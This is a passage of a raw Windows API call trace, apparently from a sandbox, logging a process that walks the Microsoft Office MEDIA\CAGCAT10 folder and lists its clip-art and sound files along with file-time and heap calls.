"c:\\program files\\microsoft office\\media\\cagcat10"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0068.986] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0068.986] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x103e478 [0068.986] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x103e478, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x103e478, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0068.986] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103e478) returned 1 [0068.986] NtClose (Handle=0xec) returned 0x0 [0068.986] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029650) returned 1 [0068.986] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029650 [0068.986] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10296d8 [0068.986] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029760 [0068.986] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.028] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.046] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.046] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0069.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.046] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0069.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0f20 [0069.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029870 [0069.046] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.046] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0f40 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10298f8 [0069.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.047] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0f60 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029980 [0069.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.047] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0069.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0f80 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029a08 [0069.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.048] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0fa0 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029a90 [0069.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.048] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0fc0 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029b18 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d80) returned 0x103e478 [0069.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103b730) returned 1 [0069.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.049] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0fe0 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029ba0 [0069.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.049] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1000 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029c28 [0069.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.050] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1020 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029cb0 [0069.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.050] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1040 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1038a40 [0069.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.051] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1060 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1038ac8 [0069.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.051] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1080 [0069.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1038b50 [0069.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.052] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff10a0 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1038bd8 [0069.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.052] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.052] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff10c0 [0069.052] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0069.052] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0069.052] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0069.053] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, 